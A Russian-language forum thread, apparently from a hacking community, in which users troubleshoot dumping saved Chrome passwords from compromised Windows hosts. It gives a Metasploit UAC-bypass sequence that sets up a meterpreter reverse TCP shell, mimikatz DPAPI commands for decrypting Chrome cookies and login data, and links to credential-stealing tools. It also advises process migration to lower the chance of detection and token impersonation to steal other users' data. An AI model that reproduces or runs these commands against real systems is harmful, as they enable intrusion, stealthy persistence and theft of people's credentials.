Dump Chrome Passwords

[woolf1514]

Не сработало =( Windows server 2012 R2 Build 9600

https://forum.antichat.xyz/attachments/4790794/img_cf9bb888f6.png

И так далее. Может еще в какой процесс мигрировать?

[<~DarkNode~>]

woolf1514 сказал(а):

Не сработало =( Windows server 2012 R2 Build 9600

И так далее. Может еще в какой процесс мигрировать?


Нужно bypass uac делать, ну или любими другими средствами получить сессию от имени админа.

Для того что бы получить такую сессию к примеру можно выполнить следующее:

Код:



use exploit/windows/local/bypassuac_eventvwr
set session 2 (тут номер вашей сессии)
set payload windows/meterpreter/reverse_tcp
set LPORT 4488 (ваш порт)
set LHOST 192.168.0.103 (ваш айпи)
explot -j

[woolf1514]

~~DarkNode~~ сказал(а):

Нужно bypass uac делать, ну или любими другими средствами получить сессию от имени админа.



Сессия админская. Скорее всего, проблема в том, что сессия от доменного админа, а не от локального...

[<~DarkNode~>]

woolf1514 сказал(а):

Сессия админская. Скорее всего, проблема в том, что сессия от доменного админа, а не от локального...


Админская сессия - не значит что с правами админа.
Это как командную строку запустить от имени администратора нужно, будучи администратором.

[Ondrik8]

от себя дополню)

https://github.com/pourquoibenoit/WinPirate грабит пассы от всего включая браузеры

https://github.com/Marten4n6/EvilOSX.git грабит пасы chrome от огрызков OSX

ну а вообще умеет тоже делать такие вещи

Код:



mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\c ookies /unprotect" exit
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\L OGIND~1" exit


Автору, жму руку: "молодец что не сдаешься, выход есть всегда!)"

[adm2]

~~DarkNode~~ сказал(а):

Нужно bypass uac делать, ну или любими другими средствами получить сессию от имени админа.

Для того что бы получить такую сессию к примеру можно выполнить следующее:

Код:



use exploit/windows/local/bypassuac_eventvwr
set session 2 (тут номер вашей сессии)
set payload windows/meterpreter/reverse_tcp
set LPORT 4488 (ваш порт)
set LHOST 192.168.0.103 (ваш айпи)
explot -j



А если пользователь хитрый и работает из под учётной записи, которая не в админской группе?)

[woolf1514]

~~DarkNode~~ сказал(а):

Админская сессия - не значит что с правами админа.
Это как командную строку запустить от имени администратора нужно, будучи администратором.


Так я на тестовой тачке с AD запустил от админа exe файл, который сгенерил в msfvenom и получил сессию, потом мигрировал процесс в explorer этого же доменного админа. Может просто скрипт отрабатывает только с локальных админов?

[<~DarkNode~>]

adm2 сказал(а):

А если пользователь хитрый и работает из под учётной записи, которая не в админской группе?)


То доступ к домашней папке по идеи не должно запросить повышенный. В случае вульфа у него доступ ограничен к домашней папке админа и требует повышенных привилегий.
В случае необходимости угнать данные рядового юзера имея админскую сессию или от имени системы - то нужно смотреть в сторону token_impersonate и угонять сессионный токен рядового юзера я думаю.




woolf1514 сказал(а):

Так я на тестовой тачке с AD запустил от админа exe файл, который сгенерил в msfvenom и получил сессию, потом мигрировал процесс в explorer этого же доменного админа. Может просто скрипт отрабатывает только с локальных админов?


Ну у тебя по скрину видно что ексепшн из-за того что скрипт не может зайти в папку локального админа,так как дб файл паролей хрома хранится локально в домашней папки юзера.

[Ondrik8]

миграция в процесс по любому нужна, так как она дает возможность действовать от любого процесса в системе и дает минимальный риск, то есть меньше палива)) говоря простым языком и это не единственное преимущество которое она дает)

[swap3r]

Возможно, вопрос немного не сюда, но тематика близкая. А есть ли что-то похожее для Chrome под Android?
Можно даже упростить задачу: наличие физического доступа к телефону, телефон не рутован (рутовать нельзя), нужно вытащить "забытый" пароль от форума, который сохраненный в браузере.
Спасибо.

[~localhost]

у меня на стадии миграции уже проблемы, windows 7 pro. sp1

[~localhost]

Попробуй bypassuac сделать для начала тогда.. Почитать можно здесь ТЫК (https://forum.antichat.xyz/threads/561361/)[/quote]

каким то чудом мигрировал, но что то не так.

пишу C:\windows\system32\folden>powershell -file Chrome_Passwords_Decryptor.ps1 нажимаю интер
появляется так
powershell -file Chrome_Passwords_Decryptor.ps1

жму еще раз интер и какая то ошибка видимо на русском так как у меня знаки вопроса.

[~localhost]

OneDollar сказал(а):

каким то чудом мигрировал, но что то не так.

пишу C:\windows\system32\folden>powershell -file Chrome_Passwords_Decryptor.ps1 нажимаю интер
появляется так
powershell -file Chrome_Passwords_Decryptor.ps1

жму еще раз интер и какая то ошибка видимо на русском так как у меня знаки вопроса.

скрин хотя бы дай[/quote]

после мигрирования вроде и enum_chrome другие ошибки пишет

[d3l373d]

А вот у моего метода никакие эскалации не нужны.

[d3l373d]

Проверял он чистый как слеза младенца. Удж свои то билды я знаю.

[~localhost]

SooLFaa сказал(а):

Проверял он чистый как слеза младенца. Удж свои то билды я знаю.


если про этот https://codeby.net/threads/voruem-paroli-iz-google-chrome.58962/ (https://forum.antichat.xyz/threads/558962/) то на скрине выше видно что он не отработал, возможно я что то делаю не так.

[d3l373d]

~localhost сказал(а):

если про этот https://codeby.net/threads/voruem-paroli-iz-google-chrome.58962/ (https://forum.antichat.xyz/threads/558962/) то на скрине выше видно что он не отработал, возможно я что то делаю не так.


Потому что сломан билд. Защита от скрипт киддис. Нужно обладать минимальными навыками программирования чтобы восстановить

[~localhost]

SooLFaa сказал(а):

Потому что сломан билд. Защита от скрипт киддис. Нужно обладать минимальными навыками программирования чтобы восстановить


я вроде не чего не делал с ним DDD. навыки программирования: "моргал диодом Arduino"

кстати если не мигрировать то выдает так

[d3l373d]

А ты метасплоитовский модуль юзаешь. Он херня.

[~localhost]

SooLFaa сказал(а):

А ты метасплоитовский модуль юзаешь. Он херня.


а у тебя я так понял свой самописный? он у тебя в открытом доступе??

[d3l373d]

~localhost сказал(а):

а у тебя я так понял свой самописный? он у тебя в открытом доступе??


Так в той же теме, сначала я привожу пример метерпретер модуля потом своего и исходники.

[IKUS]

Респект , Уважуха АФФтару ! Заработало с допилкой его ! - по процессам AMD 64 . У меня тестовая машина - win 7 x64
PS . Кстати , выдал логин , пароль это сайта при регистрации . Если спалил контору ,сорри , удалю комментарий

[IKUS]

~~^Shad0w __ Just1ce^~~ сказал(а):

Нужно bypass uac делать, ну или любими другими средствами получить сессию от имени админа.

Для того что бы получить такую сессию к примеру можно выполнить следующее:

Код:



use exploit/windows/local/bypassuac_eventvwr
set session 2 (тут номер вашей сессии)
set payload windows/meterpreter/reverse_tcp
set LPORT 4488 (ваш порт)
set LHOST 192.168.0.103 (ваш айпи)
explot -j



---

таким способом не получилось , в прочим как и остальными , смотреть скрины...

Это касается исключительно повышения привилегий ( немного не в тему дня )

https://forum.antichat.xyz/attachments/4792379/img_fdf376a835.png

https://forum.antichat.xyz/attachments/4792379/img_a7efc28836.png

[IKUS]

OneDollar сказал(а):

посмотри каким методом делал я, у тебя все получится. Я вчера проверял в империи и метере, специально. Все работает



делал как в твоей - статье (https://forum.antichat.xyz/threads/561361/)

Вот именно в такой ситуации и не получается

Всегда моделирую не простые задачи , не знаешь с чем столкнешься

https://forum.antichat.xyz/attachments/4792408/img_e69ecede7a.png

[IKUS]

OneDollar сказал(а):

Okey, пробовал с помощью DeathStar-master поднять привилегии ? Или

Или Sherlock-master

Или



- Сейчас попробую , отпишусь по результату.




IKUS сказал(а):

- Сейчас попробую , отпишусь по результату.



---------

Экспериментировал с DeathStar-master : ситуация следующая - при вызове ланстера DeathStar-master , выдает ошибки
Насколько я понял DeathStar-master работает исключительно с пользователями AD ( ну не факт ) .
Любая ошибка напрягает, как бы начинает выводить агента - потом ошибки наворачиваются

https://forum.antichat.xyz/attachments/4792411/img_d609c9e79c.png

enigma_fileless_uac_bypass - privilege escalation -
Enigma - поднимает 2 -ую сессию , но привилегии не меняет . Эксплойт не отрабатывает

Прбывал с Winpayloads (https://forum.antichat.xyz/threads/561439/) , но тоже ошибки , что-то с импортированием модулей

[ActionNum]

~localhost сказал(а):

скрин хотя бы дай




после мигрирования вроде и enum_chrome другие ошибки пишет
[/quote]
Не стоит работать в каталоге System32, лучше в пользовательских от которых у вас текущая сессия.

[IKUS]

- Автор ., Как Вам удалось вывести инфу по длине во весь экран ( так ,как на скрине ) . Идет постоянно обрезано

[~localhost]

Сделал сначала его потом enum_chrome пассы отличались и в последнем случае пароли рабочие.